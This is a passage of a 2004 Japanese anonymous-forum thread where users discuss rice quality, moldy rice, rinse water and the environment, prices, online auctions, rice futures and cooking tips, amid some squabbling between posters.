玄米とは白米を種皮で包んだもののようです。
となると、玄米を食べるということは「とぎ汁」の成分も一緒に人体に入れてるってことになるんですよね。
健康に悪影響は無いんでしょうか?

703 :もぐもぐ名無しさん:04/08/24 20:39
age

704 :もぐもぐ名無しさん:04/08/24 21:04
とぎ汁は植木の水には良いらしいですが
なんで、環境には悪いのでしょうかね??

705 :もぐもぐ名無しさん:04/08/24 21:04
>>702
白米を美味しく食べましょう。
>その「とぎ汁」は環境に悪いと言われます。
これは精米機業者が御用学者に資金を提供し広告費が欲しい
マスコミを抱き込んだ宣伝にすぎません。
惑わされては逝けません。
米のとぎ汁が環境に悪ければ日本では人はとっくに氏に絶えています。
注文によって論文はいかようにも書けるのです。
玄米は消化も悪く食べにくいから一手間かけて白米にするのです。
女子栄養大学の創始者である今は亡き
香川綾大先生は胚芽米をすすめていました。

706 :玄ちゃん:04/08/24 21:24
海には環境破壊で土には無害というのも、確かにおかしいと僕も思います。

それに、「ブリ大根」や「ふろふき大根」では、大根を米のとぎ汁で、
ホッコリやわらかくします。
もし、「米のとぎ汁=悪」であるなら、これも、僕は、けっこうコワイことするなあ、と
以前から思ってました。

皆さんの意見を、お願いいたします。

707 :もぐもぐ名無しさん:04/08/24 21:31
実家暮らしで料理はほとんど母さん任せ
しかし最近食っててなんか妙だった
まず飯をよそう時にヘラに妙に米がくっつく(ブツブツついてるから全然くっつかなかったのに)
んで 玉に米でも研ぐかなと思って出したらびっくり!
米が黒いんです! 研いだら泥水みたいになる!
そういえば母さんも言ってたなァ と思ったけどここまでとは・・・・!
画像編集したから誰かアプローだー頂戴
黒い米
以前に産地偽装米だかなんだかテレビで言ってた地域だからひょっとして・・・・
とも思うんですが

708 :もぐもぐ名無しさん:04/08/24 21:32
海が富栄養化して赤潮の原因になるから悪いと言われてるだけじゃないのか?

709 :708:04/08/24 21:35
書き忘れたけど 黒い米はあきたこまちです

710 :もぐもぐ名無しさん:04/08/24 21:43
管理人が殺された!!!
http://www2.ezbbs.net/04/235963

711 :もぐもぐ名無しさん:04/08/24 21:46
>>707
ttp://tool-ya.ddo.jp/2ch/trash-box/contents.jsp?file=20040824212553023.jpg
カビかも。
カビた米は食べない方がよいとされています。
もったいないけど粉っぽくて異臭がしたら捨てましょう。

712 :708:04/08/24 21:49
>>711
ありがとうございます
カビですか。。。。においは無かったんですけどね
新しい米入れる前に米びつ洗えばよかった。。。。。。
ttp://tool-ya.ddo.jp/2ch/trash-box/contents.jsp?file=20040824214827025.jpg

713 :↑↑↑↑:04/08/24 21:53
>>707
わけわかんないアドレス貼ってスマソ。
たどってくんろ。
流れから逝くと>>710はウイルスだな。
開ける勇気がない。

714 :711:04/08/24 22:02
>>712
漏れは脳内だから識者を待ちましょう。
保管状況はどうだったの?カビてもおかしくないの?

715 :708:04/08/24 23:07
>>714
当方北海道なので保管状況は普通に米びつに入れてるんだけど
それでカビたことは一回もないっす
というか母によると買ったときからだったそうです
ちょうどその時期 旭川の米問屋で古米だったか産地偽装した米を自分が住んでる地域に流通させた・・・
なんてニュースがやってたけど まさか・・・

716 :もぐもぐ名無しさん:04/08/24 23:08
>>708
カビテマス
このカビ具合なら捨てたほうがいいと思います。

717 :もぐもぐ名無しさん:04/08/24 23:28
>玄ちゃん
「米のとぎ汁は環境に悪い」と言われるのはどうしてか?
まず、米のとぎ汁が毒物だとか言う話ではありません。
有機物は微生物によって分解され、無機物に変わりますが、
これは米のとぎ汁も同じ事。
で、日本の多くの河川・湖沼および近海はこの有機物が既に多すぎるところがいっぱいあるんですよ。
だからこれ以上有機物を増やさないで欲しいという意味で、「環境に悪い」と言うことです。
この有機物が多いと、プランクトンが大量発生して生態系が乱れたりするので、
米のとぎ汁に限らずすべての有機物は、そういった意味で河川・湖沼・近海には「環境に悪い」です。
とぎ汁だけでなく研いだあとの米も、パンも、野菜も、肉も、お菓子も同じように環境に悪いです。

土ならどうか?人の手が入っている土地にある、
庭木や草花、あるいは畑や田んぼの農産物には肥料を与えなければ、
生育が悪くなるか、やがて枯れてしまいますよね?
土壌の中にも微生物がいて有機物を分解し、それは植物の生長に必要な栄養源になります。
人の手が入っている多くの土壌はこの有機物が不足しているところが多いので、
とぎ汁を庭の草木にやることは肥料を与えているのと同じです。通常それが問題になる事はありません。

要するに程度の問題・バランスの問題です。

718 :米食いたい人:04/08/24 23:36
結局、ヤフオクに出品されている
上級米はいいものがないの?
それとも、よくよく調べれば
いいものもあるのですか?

719 :もぐもぐ名無しさん:04/08/25 00:03
ヤフオクも、いい出物がたまにあるよ。
おいしい米の地域が分かる人は、ピンポイントで探せるしね。
もちろん玄米注文。自家用精米機で精米してね。

産地:江刺(岩手県)
銘柄:ササニシキ金札米(キンサツマイ)
また、吉川・養父(兵庫県)のコシヒカリが食いたいとかね。

地元のお米屋さんで手に入らないから、利用してまつ。

720 :もぐもぐ名無しさん:04/08/25 00:13
718
評価を良く見て、コメント内容の良いもの
固定客の多いものは良いと思いますよ。

721 :もぐもぐ名無しさん:04/08/25 05:28
思ったよりも安い値段で落札しそうになると、自分の持ってる別IDで
落札するから、あんまし、意味ないわな。

722 :もぐもぐ名無しさん:04/08/25 08:04
近所の米屋で送料分を米代にプラスして気持ちよく買いたいね。
米屋だって良い客が付けばよい米を仕入れるよ。

723 :もぐもぐ名無しさん:04/08/25 08:40
ヤフーは出品者が多いのも魅力ですね。
コシヒカリだけでもさまざまな県からたくさんの出品があります。
毎回、違う米を落札しても面白いかも



724 :700:04/08/25 11:48
>>701
亀レスですが、ありがとうございます。
新米よりもむしろ古米の方が高いんですね・・・

725 :もぐもぐ名無しさん:04/08/25 21:31
夏なのに露天のまま米を平積みしている米屋がありますよね。
中には直射日光が当たっていても平気な店までありますが、
米は日陰でせめて20度以下のところに置いてほしいなと思うのは
素人の私だけでしょうか?

726 :もぐもぐ名無しさん:04/08/25 21:36
まったくもって、あなたは正しいこと言ってます。
米屋もいろいろですから、そういったことを判断材料に
良い米屋さんを選んでいってください。

727 :kana:04/08/25 21:55
1さまよろしくです。 無洗米を利用しだしてから2年くらい無洗米オンリーです。

最近気がついたのですが、ヌカを機械で落としているということは、日持ちしないのでは? 無ではない米に比べるとですが。。 で
できるだけ鮮度イイノを選択して冷蔵庫で保存するのはどうですか?

728 :もぐもぐ名無しさん:04/08/25 22:12
>643 スレを立てたのは頼りない米屋さんの意思でそ?

>324 :頼りない米屋
【頼りない米屋からの緊急告知】
今回の「11俵目」は実は私が立てたんじゃありません。
(前スレ終了間際をご参照下さい)

729 :もぐもぐ名無しさん:04/08/25 22:32
気になるなら少量づつ買えばいいだけのことと思うが。。。

730 :米食いたい人:04/08/26 00:01
みなさまご意見ありごとうございます。

ついでに、本当に美味しくて安い
いい米を入手する為の選択基準は
どういった点なのでしょうか?
引き続きご意見拝聴させていただければ
ありがたいです。

731 :もぐもぐ名無しさん:04/08/26 00:49
抽象的で、答が出せないだろうな。
まず、どんなお米が食べたいか等、コダワリが必要だとおもうよ。

炊飯技術・精米技術・いいお米があって、はじめてオイシイご飯になる。

まあ、松下電器の炊飯技術の解説でも読んで、コダワリを見つけてくれ。
http://matsushita.co.jp/museum/smilennium/kaden/gohan/top.html


732 :もぐもぐ名無しさん:04/08/26 01:25
>>730
ぶっちゃけ、縁故米が最強。

733 :もぐもぐ名無しさん:04/08/26 06:58
>>730
ライフスタイルによって違う。余裕があり量は食べない。うまい米を食いたい。
価格の事は言わずに美味しいお米を食いたいと米屋に言う。
これが最強。米屋は緊張するよ。
高い値段を取ってまずい米を売ったら信用を失う。
米屋はいろんな情報で客を見抜く。
漏れは化粧バッチリの奥さんがドラッグストア(ゴメンうまい米を買えた事がない)
で特売品の米を買っていくのが不思議でならない。

釜を覗きながらあるだけ食える育ち盛りが三人もいればまた違うだろうね。

734 :玄ちゃん:04/08/26 07:07
皆さんいろいろな意見を有難うございました。

735 :707:04/08/26 08:59
新米を炊いてみたんだけど ぜんぜん違った
なんていうか みずみずしさやもちもち感が

736 :もぐもぐ名無しさん:04/08/26 09:32
>>735
で美味かったのか不味かったのかをはっきり書こう。


737 :707:04/08/26 09:57
>>736
もちろんうまかったYO
前のカビ米はマズー よく考えたら今年の夏は異常な暑さ&普段北海道ではありえない湿度だったから
なっちゃったんだな
やっぱり米は内地米に限りますなぁ!
肉と果物も内地に限りますなぁ! 水産物と野菜は北海道マンセー

738 :もぐもぐ名無しさん:04/08/26 12:22
>>730
うまい米は自分で探すしかないかと・・・。
ウチの例だと多摩市の狸米屋、八王子市の狐米屋の新潟コシヒカリより、ケーヨーD2で売っている
津軽ロマンの方が値段がほぼ半額なのにはるかにうまいぞ。

739 :もぐもぐ名無しさん:04/08/26 18:14
千葉こしひかり 新米 @ヨクマト 埼玉
10kg  4280円込み
5kg   2180円込み 木△○糧 
15年産石川こしひかりが10kg 3880円
新米との価格調整されている模様。

740 :もぐもぐ名無しさん:04/08/26 21:17
あ〜、平和でいいな〜。やっと新米もおいしく味わえるというものよ。
しかし断末魔の頼りない米屋は、かつてのコーヒーより見苦しかったね。
エロ喰いさんも戻って来たらいいのにね〜。

741 :米食いたい人:04/08/26 23:23
平成15年産米の特Aランクは11です
http://www.kokken.or.jp/html/kok03110100.html

ここを参考にしてるのですが
評価基準に誤りは無く、信頼していいのでしょうか?

742 :もぐもぐ名無しさん:04/08/26 23:27
>>741
目安にはなります。
しかし、それぞれの府県内でも、味にはバラツキがありますし、
ランキングにも多少政治的な側面もあります。
それに昨年は冷夏の影響もあったので、そのランキングがそのまま
今年以降のランク付けになるかは微妙です。

743 :もぐもぐ名無しさん:04/08/27 08:18
>>740
潜在的煽り体質を持つ側面のある人間性と見た

744 :もぐもぐ名無しさん:04/08/27 08:32
>>743
そんな高級ではないよ。
ただのうましかだよ。

やはり新米は美味いね。これからは新米渡り鳥。

745 :もぐもぐ名無しさん:04/08/27 12:48
極一部の熱狂信者の応援を大勢と勘違いして
散り際の見苦しさに拍車をかけてしまったな。

746 :もぐもぐ名無しさん:04/08/27 19:09
新米は冷えても美味いな。


747 :もぐもぐ名無しさん:04/08/27 21:25
アテネ帰りの人たち。
新米美味しいだろうね。
メダルを取れば格別の味だろ。

748 :もぐもぐ名無しさん:04/08/27 23:15
質問に答えてくださる米屋さんがいなくなってしまった以上、存在価値なし。
そうじゃないかな・・なんて思うわけですが。

749 :もぐもぐ名無しさん:04/08/27 23:17
>>1
精米の時すずめとか虫に食われた黒い部分って
どうやって取ってるんですか?
「機械任せだから・・」
では無く理論を教えてくれよこのビッチ!

750 :もぐもぐ名無しさん:04/08/27 23:52
>>748
ならば、お前は来るな。
てか、質問したのか?答えてくれなかったのか?



751 :もぐもぐ名無しさん:04/08/28 00:14
台風来るけど平気かなぁ?心配。

752 :米食いたい人:04/08/28 00:20
>>742
ランキングにも多少政治的な側面もあります。

すみません。政治的な側面とはなんなんでしょうか?

753 :もぐもぐ名無しさん:04/08/28 02:48
>>749
機械の原理を簡単に説明。
細いトイから米を少しずつ落とす。
トイのちょっと下に光学センサーがあって、白くないものを識別。
センサーが「白くない」と判断したら、センサーの下にある圧縮空気のノズルから、
空気をプシュッと出すと、白くないものは吹き飛ばされる。

OK?

754 :もぐもぐ名無しさん:04/08/28 09:31
>>752
偶然でも一度高評価を得た産地、銘柄が
あらゆる力を結集して守ろうとする事。
オラチの米はランキング上位になったうまいんだと
パンフでも作って宣伝すれば強要効果?刷り込み効果ある。
政治家(地方のドンが望ましい)を使えばたちまち政治的側面が生じる。
もちろん見返りは俵ならぬ票

千葉こしひかりでも十分美味いんだけど
魚沼こしひかりは、はるかに美味いのかな?
舌が貧しいだけなのかな?

755 :もぐもぐ名無しさん:04/08/28 13:30
お米って、精米してから何ヵ月くらいまで食べられますか?
それと、おいておいたお米から虫が出てきたんですが、このお米は虫を取りのぞけば食べられますか?

756 :もぐもぐ名無しさん:04/08/28 15:12
>>755
保存状態が良ければ一年後でも食える。
良く洗い流せば食える。

質問です。
モチ米価格はどうなるでしょうか?モチが好きで常備してます。

757 :749:04/08/28 15:24
>>753
ほう、そういう事だったんですか
店で売ってる米ってみんな綺麗だから
気になってたんですよ
自分米作ってた時期あるんで
この黒いのあっても気にもせず食えるんですけどね

機械の業者さんかな?
回答有難うございました

このビッチ!


758 :もぐもぐ名無しさん:04/08/28 16:15
>>755
美味しく食べるためには1ヶ月程度で食べきれる量を買うなり、
精米するなりしたほうが良いと思います。
数ヶ月、それ以上と。。。
保存期間が長くなっても
食べれないわけではありませんので念のため。

虫のついたお米も不味くはなりますが
虫を取りのぞいて食べれば問題ないです。
気分は悪いですが、米を食べてる虫ですので
仮に虫を食べたとしても問題ありませんよ。

759 :もぐもぐ名無しさん:04/08/28 16:45
>>757

コーヒーの業界にいたことがあります。
コーヒー豆の選別機は、
米の選別機をベースに作られたので知っていました。

と言うことで、Kiss my ass!

760 :もぐもぐ名無しさん:04/08/28 17:04
一口メモ
>コーヒー豆の選別機は米の選別機をベースに
大元はアメリカ資本のダイヤモンド鉱山での選別に
開発されたものがベースなんだって。。。。。
と聞いた事があるよ。

761 :もぐもぐ名無しさん:04/08/28 19:16
>>749
>>759
下品なレスはスレ違い板違いだよ。

762 :もぐもぐ名無しさん:04/08/28 20:45
>>761
ちょっとした遊びじゃないか。頭の堅いやつやの。

763 :もぐもぐ名無しさん:04/08/28 21:45

ちょっとした遊びで叩かれちゃうから気をつけたほうがいいよ

764 :もぐもぐ名無しさん:04/08/28 22:26
別に遊びで叩かれた人なんていませんが。結構、大人のスレですよ。



765 :もぐもぐ名無しさん:04/08/28 22:34
Θ:叩かれんための盾
Ψ:戦うための武器

766 :もぐもぐ名無しさん:04/08/28 22:50
π逃げるための馬

767 :もぐもぐ名無しさん:04/08/28 22:53
Υ傷ついたときの泉

768 :もぐもぐ名無しさん:04/08/28 23:04
⊃眠るための枕

769 :もぐもぐ名無しさん:04/08/28 23:09
米価大幅下落で、小売価格もこれからどんどん下がっていくってニュースでやってた。
でもまだ、小売では一昨年レベルまでは下がっていないね。
新米がどんどん出てくるから、平成15年産はもう少ししたら投げ売り状態になるかな。
とにかく消費者の立場としては、小売価格は大幅下落してほしいものだ。


770 :こめ:04/08/28 23:25
瓶の「プラッシー」ってありますか。

771 :もぐもぐ名無しさん:04/08/28 23:39
>>770
「C-1000タケダ」にかわりました。

772 :もぐもぐ名無しさん:04/08/28 23:46
>>769
16年産は既に安いと思うよ。
が、北陸、東北の銘柄の新米はまだ出回ってないので、もう少し待とう。
言ってる間に上記の新米が出てくるので、15年産は現時点で投売りは始まってる。
因みに、ほんとに小さな町の米屋レベルでは、投売りしなきゃならないほど在庫は抱えてないと思う。
今の価格で納得いかないなら、16年産が出揃うまで待つが吉かな。

ただ、一部の量販店の安売り(客寄せパンダの叩き売り)を除けば、思ってるほど安くはならないと思うよ〜。
いずれにしても、15年産に比べて16年産は安くなるだろうから、
今は目当ての新米が出る頃を見計らって、購入量を調整した方がいいよ。
ウチでも10キロと注文されても、時期と銘柄によっては5キロを勧める場合がある。

>>770
ないかもしれない。ウチに来る案内は缶のみ。(250ml、350ml )

773 :こめ:04/08/28 23:57
≫771,772さん、ありがとうございます。


チョと、残念ですね。

774 :もぐもぐ名無しさん:04/08/29 00:05
鍋で米を炊くこつを教えてください。
一人暮らしなので1合ほどです。お願いします。
炊飯器を買えというレスはご容赦ください

775 :もぐもぐ名無しさん:04/08/29 00:27
>>774
水加減は普通に。洗った米1合に対して水1合を基準に調整。
あとは昔から言うように「はじめちょろちょろ中ぱっぱ、赤子泣いてもフタ取るな」で。
炊きあがりは音を聞いて「チリチリ」と小さい音がしたら、火を止めて10分ほど蒸らす。

776 :もぐもぐ名無しさん:04/08/29 02:24
>>774-775
あれ?漏れはキャンプのとき鉄カップにアルミホイルで蓋して米炊いてたけど
米1:水1.2〜1.3がベストだったよ。
水に漬ける時間は20〜30分。
玄米だと、玄米1:水1.5で漬けるのは3時間以上。


777 :もぐもぐ名無しさん:04/08/29 07:41
いち早く実勢価格を売値に反映させるのは良いお米屋さんだよ。
15年産は新米より安くなければならぬ。
お店の質がわかるよ。
この時期各スーパーの米売り場をよく見よう。
店全体の姿勢を伺える。

778 :もぐもぐ名無しさん:04/08/29 08:43
>>777
おっしゃる意見はまともな意見なんですが
今の実勢価格は15年産を置き去りにして16年の方が安かったりする。
理由は1つは15年産が高かったから下げ(赤字)が遅れている事。
2つめは同じ産地の新米が出てない地域は下がらない、つまり例えば
今関東産16年こまちより新米の取れていない秋田産15年こまちの方が高い。
でね、そうなると実勢価格に反映すると売り場は古米が高くて
新米が安くなる。これは売り場としておかしい・・となる。
そこで新米を多少高く売って古米を値下げして価格調整した売り場とする。
するとお客様から見て納得の売り場となる。なるが・・・
果たしてどちらが正しいのかは消費者の判断となるだろう。



779 :もぐもぐ名無しさん:04/08/29 09:33
スーパーの話だけど
対応の早い店が絶対(断言して良いと思う)勝つ。
ヨ○クマート(グループ全体と思うけど)は早かった。
千葉こしひかり新米10kg4280円込み
石川産こしひかり15年産10kg3880円込みにしていた。
他の15年産米も同様。卸はきとく診療。
15年産を高く売ろうと理屈を付けるのは幻想に近い。

新米は美味いなあ。つい余計に食べてしまう。


780 :もぐもぐ名無しさん:04/08/29 12:31
>>779
危篤診療って以前インチキやって摘発された所だよね。今はもう信用しても大丈夫?
近くの八日ドーではここの米がとても多いのでちょっと不安。

781 :もぐもぐ名無しさん:04/08/29 13:44
>>780
そこの千葉こしひかり新米 美味しいよ。
軟らかくふっくら炊きあがるのに
粒々がしっかりしていてしかも延びがある。
一粒一粒がツルツルしてる感じがする。
消費者意識が進んでいるから今後はあまり変な事は無いと思う。
ビッグAに納めていた某不正した卸は取引切られたよ。
道理で当時ビッグAで買った米は美味しくなかったんだな。
有名銘柄全部で不正をしていたに違いない。
袋の表示を見てそこの米は買わないよ。

782 :もぐもぐ名無しさん:04/08/29 15:50
【社会】お米は安全か、基準値を上回るカドミ汚染米、密かに出荷
http://news16.2ch.net/test/read.cgi/dqnplus/1093243013/

783 :もぐもぐ名無しさん:04/08/29 16:00
インチキやっている卸、狸・狐米屋が判るHP教えて。

いかにもインチキっていう米を掴まされたとき、鑑定してくれる所はある? 消費者センター?

784 :もぐもぐ名無しさん:04/08/29 19:29
既出だが
ヤフーオークションは結構、めっけもんの米が多く、
へんてこな米屋から買うよりも穴場ではないかと思う。
米屋も出品してるけど、買い手には悪い評価という武器があるので
超はずれはないと思うよ。

785 :もぐもぐ名無しさん:04/08/29 20:08
米はオークションにはなじまない。
価格を競って買う物ではないよ。
>>783
変な米を買ってしまった時は買ったお店袋に書いてある卸しに掛け合おう。
信用を重んじる店なら誠実に対応するよ。
袋を見て判断出来る眼力を養おう。

786 :もぐもぐ名無しさん:04/08/29 21:07
>785 お店袋に書いてある卸し・・・

信用を重んじる誠実にやっている米屋なら、卸白は扱わないと思います
自家精米が主流かと・・・
玄米を仕入れ自分で精米しないと何を使われているか信用できない

787 :もぐもぐ名無しさん:04/08/29 21:21
オークションのお米の出品は即決価格が主流だから
競売というより、各産地農家のネット通販みたいな感じだよ。
お試しあれ。



788 :もぐもぐ名無しさん:04/08/29 23:50
こんど、オークション落としてみっかな。
でもな、一人暮らしに30KGの玄米は、ちと多すぎるんだよな。
半年は持つが、虫と一緒に暮らさなきゃなくなる。

789 :もぐもぐ名無しさん:04/08/30 00:06
少量販売してる人もいるよ。
あるいはQ&Aで小分け相談してみれば?

790 :もぐもぐ名無しさん:04/08/30 00:22
台風来ちゃうけど平気かな?

791 :もぐもぐ名無しさん:04/08/30 01:22
>>790
おそらく九州はダメだと思う。あとは進路次第。

792 :もぐもぐ名無しさん:04/08/30 01:47
米屋というよりか、農家に対する質問みたいになっちゃうけど
台風通った後、泥だらけで
ぐちゃぐちゃになった(と思われる)田んぼは
どう始末つけるの?
乾くまでほったらかし?

793 :もぐもぐ名無しさん:04/08/30 04:28
明日、新米『越路早生』買ってこよう・・・

10キロ¥3900のチラシが出てた〜

794 :もぐもぐ名無しさん:04/08/30 06:31
>>792
ニュースで放送されるのは大被害を受けた一部の場所だけ。
同じ映像を何回も。
大勢に影響ないの。西部戦線異状なし。だよ。
良い田んぼは大風吹いても大雨降っても平気。
水田と言うくらいだ。
収穫期の長雨は困るな。一過性の台風なんぞ問題なし。

795 :もぐもぐ名無しさん:04/08/30 23:01
何か頼コメがいなくなってからこのスレもレベル下がってきてるね。
頼コメなくしてこのスレあらずってことか。
アンチ頼コメの諸君、もう少し役に立つ書き込みしてくれよ。

796 :もぐもぐ名無しさん:04/08/30 23:54
>>795
誰もあなたのレベルに合わせる必要はないわけですよ。
人それぞれ役に立つレベルは違うでしょうから
疑問のある人が自身のレベルに合った質問や書きこみをすれば良いわけです。

そんなにレベル高そうな方とは思えませんが、
あなたも遠慮なさらずに、自身の高レベルに見合った質問、
書きこみをされればいいじゃないですか。

797 :もぐもぐ名無しさん:04/08/30 23:57
東穀取、コメ先物取引復活を検討へ 農協などは反発

現在行われていないコメの先物取引を復活させるため、国内最大の農産物先物取引所である
東京穀物商品取引所(東穀取)が具体的な商品設計の検討に入る。
「最後の大物先物商品」とされ、価格急変動に対するリスク回避に役立つが、
価格決定の主導権を奪われかねない農協などから反発が出ている。

先物取引は、将来のある時点に一定の価格で売買する契約をあらかじめ結ぶ取引。
天候などで価格が上下する農産物について、「豊作貧乏」といった価格急落時の損失を
減らすことができる。現在トウモロコシ、コーヒー、ダイズなどで取引が行われている。
コメは最も早く江戸時代に先物取引が始まったが、戦時の経済統制下で40年に打ち切られ、
その後も実質的に価格が統制されていたため市場は閉ざされていた。
だが、コメ価格の自由化が進み、昨年のコメ不作では、値上がりを見込んでコメを抱え込んだ
流通業者や産地が、価格急落で巨額の含み損を抱えた。
また、コメの先物取引を認めた改正食糧法が4月に施行されたこともあって、
復活の機運が高まっている。

東穀取は学識経験者らによる研究会を開き、「先物取引はコメ価格の変動に伴う損失を減らす
だけではなく、需給実勢を反映する効果もある」という報告書をまとめた。
これを受けて10月から、コメ先物の対象にする品種、取引単位、決済期間など具体的な
商品設計を検討する。05年度中に結論をまとめる方針だ。
東穀取は、「多くの投資資金が流れ込んだ方が、市場に厚みが出て価格が安定する」とみている。
ただ、農協からは、「主食であるコメの取引に投機的な思惑が持ち込まれかねない」
と批判が出ている。

[朝日新聞](08/30 20:06)
http://www.asahi.com/business/update/0830/092.html
--------------------------------------
誰が儲かるのか知らんが、間に一枚噛む奴が出れば、
そいつが儲けた分、小売価格に上乗せされるのは間違いない。

798 :もぐもぐ名無しさん:04/08/31 00:14
>797
儲かるとは限らんじゃん。仕組み理解しれ。


799 :もぐもぐ名無しさん:04/08/31 00:57
>>798
先物やって必ず儲かるとは限らないと言うことぐらい知ってる。
但し、「手数料で儲かる」連中がいるだろうが。

800 :795:04/08/31 02:27
>>796

少し前まではかなり書き込んでいたよ。
あんたすごいね。3行の書き込みで私のレベルがわかるなんて。
大したもんだよ。

801 :もぐもぐ名無しさん:04/08/31 05:03
>少し前まではかなり書き込んでいたよ。

たとえばどのレスですか?みんなにレベル鑑定してもらったら?
それとも旧スレ主本人なので明かせないか。プ。
レベルだの良スレだの知識やスレの年月だのにやたらこだわるのがアイツだもんな。



802 :もぐもぐ名無しさん:04/08/31 06:58
>>795
レベルなんて言い始めた時点で、頭弱い人だなあ って
みてる人は思ったことでしょう。
書けば書くほど、恥ずかしさ倍増するタイプですね。

803 :もぐもぐ名無しさん:04/08/31 09:06
「荒らす為に荒らした人」
「荒らすつもり無く荒した人」

今はそんな人ばかりです。
良識ある人は今は傍観中です。
>>800さんお仲間に入りません?



804 :もぐもぐ名無しさん:04/08/31 09:18
先物取引 反対 反対 反対
生産者には不利
収穫期には安値誘導される。
収穫期には安値誘導される。
海外生産米の安値の影響を常に受ける。

805 :もぐもぐ名無しさん:04/08/31 11:45
803=自身を良識と捉える図々しい人間といえば?




どうやら、自己愛の塊の嫌われ者はまだここを見ているようです。


806 :もぐもぐ名無しさん:04/08/31 13:33
米スレから米異スレになったな。
新米は美味いな。
漏れはこ米異製造器か。
>>805もお友達。つきあってあげるよ。

807 :もぐもぐ名無しさん:04/08/31 14:01
>>805さんではありませんが
このスレを消化したら、立場を問わずお米に関心がある人達が
忌憚の無い意見交換出来るようなタイトルのスレが出来ると良いですね。

時には荒れる事もあるでしょうが、それぞれの立場の本心を語れる場が
あればとても面白いと思います。

808 :もぐもぐ名無しさん:04/08/31 14:52
平穏に進んでたのにね。
レベル高いのが現れたから。。。




809 :もぐもぐ名無しさん:04/08/31 15:16
>>803は邪魔しないで、ずーーっと傍観してろ。

810 :もぐもぐ名無しさん:04/08/31 15:52
頼りない米屋さんが戻ってくれなかったら
このスレ消化したら自然消滅でいいよ。

モチ米価格が気になるな。14年並みになってくれよ。
モチ 赤飯 ぼた餅 おはぎ 好きなんだよ。

暑いから煽ってくれるの結構だけどコメをお題に煽ってくれよ。

811 :もぐもぐ名無しさん:04/08/31 16:22
>>810
おいおい文章が相当おかしいよ。

今年のモチ米の相場を知りたいんだな?
業者さん答えてやれよ。

812 :もぐもぐ名無しさん:04/08/31 16:49
もち米は去年の半額以下になる模様。

16年産千葉ヒメノモチ 60kg14000円也。
去年は30000円でも集まらなかった。

813 :もぐもぐ名無しさん:04/08/31 18:20
>>812
ありがとうございます。

>>810
お前がスレの方針を決めなくてもいいと思うよ。
もちについて回答してくれるやさしい人がいたから
感謝して読んでさっさと消えろ。



814 :もぐもぐ名無しさん:04/08/31 19:14
皆さんのトコは紙袋ってどうしてます?とくにミシンの方なんですけど、
業者を変えたらそこは引き取ってくれないんですよ

815 :もぐもぐ名無しさん:04/08/31 19:37
お米が、半額くらいになるのか。
だったら、30Kg5000円台で、ヤフオクでねらってみます。

816 :もぐもぐ名無しさん:04/08/31 19:52
>30kg5000円台

埼玉雑銘柄なら可能。(玄米)

817 :もぐもぐ名無しさん:04/08/31 20:06
> 30kg5000円台

10月末なら
北海道・青森の銘柄米でも可能
関東・北信・東海の雑銘柄総て可能

818 :もぐもぐ名無しさん:04/08/31 20:09
>>814
燃えるゴミの日逝き
建築土木業・農家にタダであげるルート探し


819 :もぐもぐ名無しさん:04/08/31 20:17
1俵1万円 そんなに安いの?
例えば北信の銘柄はなんすか??

820 :もぐもぐ名無しさん:04/08/31 20:57
中小食品スーパー @埼玉
茨城産あきたこまち新米 5kg 1880円込み
このスーパーでは15年産との価格調整無し。15年産は高いまんま。
茨城産あきたこまちって どうなんだべ?

821 :もぐもぐ名無しさん:04/08/31 21:09
>>792
濡れたままだと芽が出てくるので
濡れたままでも稲刈りします

その後乾燥機にかけて15%程度にして出荷します

822 :もぐもぐ名無しさん:04/08/31 21:25
台風で、潮がかかって変色した稲は、どうするのでつか?

秋田・山形の沿岸の品質低下が心配でつ。

823 :もぐもぐ名無しさん:04/08/31 22:39
先物導入で、農協を含む大手卸から、実勢に、価格決定が移る。
大歓迎だ。
農家は農協に買い叩かれることもなく、中小卸は農協や大手卸の
言いなりにならずに済むぞ。

824 :もぐもぐ名無しさん:04/08/31 22:44
沿岸部ったって、海岸から何百メートルも離れたところまで潮を浴びたりしないし、
九州は田植えが遅いから塔が出たばかりで一部の早場米地域以外、影響は出ないよ

825 :もぐもぐ名無しさん:04/08/31 22:55
なんか8月20日ころの台風で、秋田の稲が茶色に変色する等塩害が出たって聞きますた。
台風の風の影響で、潮が上空まで巻き上げられ、たんぼに着弾したとか・・・。

826 :もぐもぐ名無しさん:04/08/31 23:04
今年初めて新米買ってみた。
やっぱり新米は良いね。
ていうか、今年は米の出来が良いのかな?


あと、夏休みももう終わりだし、頼りない米屋サンそろそろ復活きぼんぬ。
厨は完全スルーしてりゃ大丈夫よ。


827 :もぐもぐ名無しさん:04/08/31 23:09
>>826
いいかげんにしろ!!頼厨


828 :もぐもぐ名無しさん:04/08/31 23:22
>>827
(´-`).。oO( ( ´,_ゝ`)プッ( ´,_ゝ`)プッ( ´,_ゝ`)プッ( ´,_ゝ`)プッ )


829 :もぐもぐ名無しさん:04/08/31 23:28
頼りない米屋の信者が一番の荒らしだな。

830 :もぐもぐ名無しさん:04/08/31 23:39
>>829
宿題は終わりましたか?w


831 :もぐもぐ名無しさん:04/08/31 23:59
食味もこれからの時期が勝負ですね。
今年もおいしい魚沼コシが食べたいな。
私はコシ好きなので、本格的な新米の時期になると
かなり太ります。
揚げたてのとんかつに、ひかりソースをどばっとかけて、
塩沢コシを腹一杯たべると至福のひとときです。


832 :もぐもぐ名無しさん:04/09/01 00:16
新潟の方がいましたら、ぜひ伺いたい。
魚沼コシヒカリの新米を、昔ながらの薪のお釜で炊いた
おいしいご飯を食べさせてくれるお薦めの温泉宿はありませんか。

833 :もぐもぐ名無しさん:04/09/01 00:30
>>830
あなたが話題みたいだよ。

834 :もぐもぐ名無しさん:04/09/01 00:34
>>833
ワロタ。てか「このスレの宿題はあなただよ」って感じ?

835 :もぐもぐ名無しさん:04/09/01 00:37
>>833-834
ププ

キミにピッタリのBBSを紹介してあげるよw
ttp://www1.ezbbs.net/09/junpeimaya/

早く宿題が終わると良いねププ


836 :もぐもぐ名無しさん:04/09/01 00:45
>>835
ご苦労さん。でも見る気ないしー。

837 :もぐもぐ名無しさん:04/09/01 00:47
>>836
明日から学校だぞ、早く寝たほうがいいぞw


838 :もぐもぐ名無しさん:04/09/01 00:48
>>832
新潟人じゃないけど、有名なのは大●館。
ただし、期待していたほどぢゃないという声もよく聞きますが。
新米の時期の評判はいいようですが、特に梅雨開け以降の評判は…。

839 :もぐもぐ名無しさん:04/09/01 08:18
本人しかいないような気もするけど
過去の人物の話はもうやめましょうよ。

>>832
薪の釜ってのがネックかもだけど
身内だけでやってるような小さな民宿は
結構、うまい米食わすとこあるらしいです。
農家がスキーシーズンだけやってる小さな民宿とかあるみたいですよ。

